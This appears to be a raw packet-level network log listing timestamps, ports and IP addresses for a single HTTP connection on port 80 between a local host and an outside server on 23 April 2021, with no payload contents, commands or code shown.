Apr 23, 2021 11:07:50.961889982 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.961913109 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.961914062 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.961937904 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.961939096 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.961965084 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.961966038 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.961987972 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.962011099 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.962013960 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.962018013 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.962033987 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.962034941 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.962058067 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.962058067 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.962081909 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.962083101 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.962104082 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.962132931 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.962143898 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.962148905 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.962158918 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.962160110 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.962224007 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.962228060 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.979175091 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.979198933 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.979305983 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.989093065 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.989499092 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.991275072 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.991343021 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.991373062 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.991427898 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.991461039 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.005748987 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.005778074 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.005795002 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.005812883 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.005830050 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.005840063 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.005847931 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.005866051 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.005872011 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.005891085 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.005907059 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.005999088 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.006019115 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.006031990 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.006048918 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.006066084 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.006072044 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.006084919 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.006094933 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.006105900 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.006124020 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.006131887 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.006145954 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.006149054 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.006166935 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.006184101 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.006194115 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.006206036 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.006215096 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.006225109 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.006246090 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.006251097 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.006264925 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.006273985 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.006310940 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.006318092 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.013636112 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.013665915 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.013686895 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.013706923 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.013732910 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.013735056 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.013755083 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.013777971 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.013789892 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.013802052 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.013802052 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.013823986 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.013849020 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.013902903 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.013971090 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.013993979 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.014017105 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.014019012 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.014054060 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.014059067 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.014082909 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.014085054 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.014106035 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.014116049 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.014127016 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.014147997 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.014153004 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.014184952 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.014185905 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.014216900 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.014229059 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.014252901 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.014276028 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.014281988 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.014306068 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.014343977 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.014364004 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.014367104 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.014389992 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.014399052 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.014414072 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.014415979 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.014436960 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.014458895 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.014466047 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.014471054 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.014480114 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.014482975 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.014502048 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.014511108 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.014524937 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.014544964 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.014549971 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.014569998 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.014595032 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.014595032 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.014615059 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.014616013 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.014636040 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.014637947 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.014657021 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.014657974 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.014679909 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.014682055 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.014700890 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.014700890 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.014723063 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.014749050 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.014753103 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.014760017 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.014770985 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.014771938 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.014792919 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.014797926 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.014813900 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.014826059 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.014831066 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.014833927 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.014856100 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.014863968 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.014878988 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.014899015 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.014899969 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.014919996 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.015022039 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.018812895 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.069104910 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.069161892 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.069200993 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.069202900 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.069226027 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.069236040 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.069271088 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.069279909 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.069314003 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.069320917 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.069356918 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.069391012 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.069443941 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.069485903 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.069509029 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.069528103 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.069547892 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.069566011 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.069607019 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.069643021 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.069643974 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.069674015 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.069679976 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.069710970 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.069715023 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.069751024 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.069778919 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.069787979 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.069817066 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.069828987 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.069864035 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.069868088 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.069900036 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.069905043 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.069943905 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.069943905 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.069978952 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.069981098 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.070008039 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.070017099 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.070053101 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.070066929 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.070094109 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.070096016 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.070127010 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.070137024 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.070164919 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.070177078 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.070209026 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.070215940 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.070255041 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.070277929 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.070285082 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.070292950 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.070323944 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.070329905 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.070364952 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.070396900 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.070406914 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.070439100 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.070445061 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.070481062 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.070513964 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.070518970 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.070549965 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.070557117 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.070591927 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.070619106 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.070628881 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.070687056 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.070728064 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.070729017 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.070766926 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.070775032 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.070811987 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.070837021 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.070843935 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.070851088 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.070883036 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.070885897 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.070921898 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.070944071 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.070952892 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.070959091 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.070997953 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.071033955 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.071067095 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.071073055 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.071075916 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.071113110 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.071116924 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.071152925 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.071177959 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.071185112 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.071192980 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.071227074 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.071228981 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.071264029 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.071289062 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.071304083 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.071340084 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.071341038 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.071382046 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.071418047 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.071424007 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.071461916 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.071499109 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.071517944 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.071537971 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.071571112 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.071573019 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.071610928 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.071641922 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.071650028 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.071687937 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.071724892 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.071727991 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.071760893 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.071793079 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.071798086 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.071851015 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.071883917 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.071888924 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.071926117 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.071960926 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.071985006 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.072021008 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.072058916 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.072062969 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.072103977 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.072143078 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.072154045 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.072180986 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.072217941 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.072253942 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.072263002 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.072554111 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.122033119 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.122062922 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.122080088 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.122097015 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.122116089 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.122129917 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.122133017 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.122148991 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.122165918 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.122183084 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.122199059 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.122205019 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.122216940 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.122234106 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.122252941 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.122271061 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.122287035 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.122292042 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.122297049 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.122303963 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.122304916 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.122320890 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.122354031 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.122370005 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.122373104 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.122379065 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.122385979 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.122406006 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.122423887 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.122425079 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.122440100 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.122456074 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.122457981 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.122473001 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.122488976 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.122503996 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.122519970 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.122523069 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.122539997 CEST	80	49703	31.210.20.121	192.168.2.5
